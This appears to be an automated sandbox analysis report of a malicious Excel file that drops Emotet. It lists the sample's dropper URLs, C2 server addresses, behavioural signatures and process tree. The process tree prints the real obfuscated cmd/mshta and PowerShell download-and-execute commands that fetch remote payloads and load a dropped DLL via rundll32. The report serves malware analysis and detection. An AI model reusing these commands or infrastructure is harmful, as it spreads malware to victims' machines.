Analysis

  • max time kernel
    142s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    19/01/2022, 18:02

General

  • Target
    eaa97dd2f51e218ca3743ffddab4451a.xls
  • Size 141KB
  • Sample220119-wmf49acbbk
  • SHA256 2e1ea41b40eda483558b5bb13f493c45a97d3c19214d9b1f11198ef25976d4f4
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eaa97dd2f51e218ca3743ffddab4451a.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3896
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3884
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1960
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3716
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1308
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3900
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1948
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hqrgpfzzusrhmhzk\wkbklu.ron",cJvEPjrEuBPeOeM
                    8⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:564
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hqrgpfzzusrhmhzk\wkbklu.ron",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      PID:360
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 1048 -s 1724
            4⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3216
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:2480
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow
        1⤵
          PID:3992
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 456 -p 1048 -ip 1048
          1⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Suspicious use of WriteProcessMemory
          PID:2236
        • C:\Windows\system32\werfault.exe
          werfault.exe /h /shared Global\67fc3f6899194137acdd06634e64e27f /t 3892 /p 3896
          1⤵
            PID:3924

          Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                memory/360-1015-0x00000000056B0000-0x00000000056D6000-memory.dmp

                memory/360-1017-0x00000000057B0000-0x00000000057D6000-memory.dmp

                memory/360-1013-0x0000000005650000-0x0000000005676000-memory.dmp

                memory/360-1011-0x00000000054E0000-0x0000000005506000-memory.dmp

                memory/360-1009-0x0000000004D00000-0x0000000004D26000-memory.dmp

                memory/360-1019-0x0000000005810000-0x0000000005836000-memory.dmp

                memory/360-1021-0x0000000005930000-0x0000000005956000-memory.dmp

                memory/360-1023-0x0000000005A20000-0x0000000005A46000-memory.dmp

                memory/360-1025-0x0000000005B00000-0x0000000005B26000-memory.dmp

                memory/1948-995-0x0000000004820000-0x0000000004846000-memory.dmp

                memory/1948-999-0x0000000004AA0000-0x0000000004AC6000-memory.dmp

                memory/1948-992-0x0000000004290000-0x00000000042B6000-memory.dmp

                memory/1948-1004-0x0000000004C80000-0x0000000004CA6000-memory.dmp

                memory/1948-1001-0x0000000004B00000-0x0000000004B26000-memory.dmp

                memory/1948-997-0x0000000004910000-0x0000000004936000-memory.dmp

                memory/3716-972-0x0000025A55950000-0x0000025A6DB50000-memory.dmp

                memory/3716-971-0x0000025A55950000-0x0000025A6DB50000-memory.dmp

                memory/3716-976-0x0000025A6DF90000-0x0000025A6DFD4000-memory.dmp

                memory/3716-994-0x0000025A6E060000-0x0000025A6E0D6000-memory.dmp

                memory/3716-975-0x0000025A55950000-0x0000025A6DB50000-memory.dmp

                memory/3716-970-0x0000025A6DA50000-0x0000025A6DA72000-memory.dmp

                memory/3896-131-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-138-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

                memory/3896-137-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp

                memory/3896-134-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-133-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-132-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-130-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-1045-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-1046-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-1047-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3896-1048-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp

                memory/3900-989-0x00000000007E0000-0x0000000000806000-memory.dmp